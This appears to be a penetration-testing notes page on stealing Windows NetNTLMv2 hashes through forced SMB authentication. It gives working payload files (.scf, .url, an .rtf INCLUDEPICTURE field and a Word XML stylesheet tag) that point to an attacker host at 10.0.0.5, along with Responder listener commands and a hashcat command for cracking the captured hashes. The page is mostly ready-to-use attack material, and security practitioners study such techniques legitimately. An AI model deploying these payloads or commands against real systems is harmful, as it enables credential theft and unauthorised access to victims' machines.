description |
---|
Credential Access, Stealing hashes |
Let's create a Word document that has a hyperlink to our attacking server where responder
will be listening on port 445:
{% file src="../.gitbook/assets/totes-not-a-scam.docx" caption="Forced SMBv2 Authentication - MS Word File" %}
Let's start Responder
on our kali box:
{% code-tabs %} {% code-tabs-item title="attacker@local" %}
responder -I eth1
{% endcode-tabs-item %} {% endcode-tabs %}
Once the link in the document is clicked, the target system sends an authentication request to the attacking host. Since responder is listening on the other end, victim's NetNTLMv2
hash is captured:
The retrieved hash can then be cracked offline with hashcat:
hashcat -m5600 /usr/share/responder/logs/SMBv2-NTLMv2-SSP-10.0.0.2.txt /usr/share/wordlists/rockyou.txt --force
Success, the password is cracked:
Using the cracked passsword to get a shell on the victim system:
Place the below fa.scf
file on the attacker controlled machine at 10.0.0.7
in a shared folder tools
{% code-tabs %} {% code-tabs-item title="\\10.0.0.7\tools\fa.scf" %}
[Shell]
Command=2
IconFile=\\10.0.0.5\tools\nc.ico
[Taskbar]
Command=ToggleDesktop
{% endcode-tabs-item %} {% endcode-tabs %}
{% file src="../.gitbook/assets/fa.scf" caption="fa.scf" %}
A victim user low
opens the share \\10.0.0.7\tools
and the fa.scf
gets executed automatically, which in turn forces the victim system to attempt to authenticate to the attacking system at 10.0.0.5 where responder is listening:
What's interesting with the .scf
attack is that the file could easily be downloaded through the browser and as soon as the user navigates to the Downloads
folder, users's hash is stolen:
Create a weaponized .url file and upload it to the victim system:
{% code-tabs %} {% code-tabs-item title="c:\link.url@victim" %}
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\10.0.0.5\%USERNAME%.icon
IconIndex=1
{% endcode-tabs-item %} {% endcode-tabs %}
Create a listener on the attacking system:
{% code-tabs %} {% code-tabs-item title="attacker@local" %}
responder -I eth1 -v
{% endcode-tabs-item %} {% endcode-tabs %}
Once the victim navigates to the C:\ where link.url
file is placed, the OS tries to authenticate to the attacker's malicious SMB listener on 10.0.0.5
where NetNTLMv2 hash is captured:
Weaponizing .rtf file, which will attempt to load an image from the attacking system:
{% code-tabs %} {% code-tabs-item title="file.rtf" %}
{\rtf1{\field{\*\fldinst {INCLUDEPICTURE "file://10.0.0.5/test.jpg" \\* MERGEFORMAT\\d}}{\fldrslt}}}
{% endcode-tabs-item %} {% endcode-tabs %}
Starting authentication listener on the attacking system:
{% code-tabs %} {% code-tabs-item title="attacker@local" %}
responder -I eth1 -v
{% endcode-tabs-item %} {% endcode-tabs %}
Executing the file.rtf on the victim system gives away user's hashes:
MS Word Documents can be saved as .xml:
This can be exploited by including a tag that requests the document stylesheet (line 3) from an attacker controlled server. The victim system will share its NetNTLM hashes with the attacker when attempting to authenticate to the attacker's system:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?mso-application progid="Word.Document"?>
<?xml-stylesheet type="text/xsl" href="\\10.0.0.5\bad.xsl" ?>
Below is the attack illustrated:
{% file src="../.gitbook/assets/test-xls-stylesheet.xml" caption="test-xls-stylesheet.xml" %}
Create a new Word document and insert a new field IncludePicture
:
Save the file as .xml. Note that the sneaky image url is present in the XML:
Launching the document gives away victim's hashes immediately:
{% file src="../.gitbook/assets/smb-image.xml" caption="smb-image.xml" %}
{% embed url="http://www.defensecode.com/whitepapers/Stealing-Windows-Credentials-Using-Google-Chrome.pdf" %}
{% embed url="https://www.bleepingcomputer.com/news/security/you-can-steal-windows-login-credentials-via-google-chrome-and-scf-files/" %}
{% embed url="https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/" %}
{% embed url="https://medium.com/@markmotig/a-better-way-to-capture-hashes-with-no-user-interaction-by-markmo-bd1569bfa208" %}
{% embed url="https://bohops.com/2018/08/04/capturing-netntlm-hashes-with-office-dot-xml-documents/" %}
{% embed url="https://twitter.com/bohops/status/1062935197107322880?s=12" %}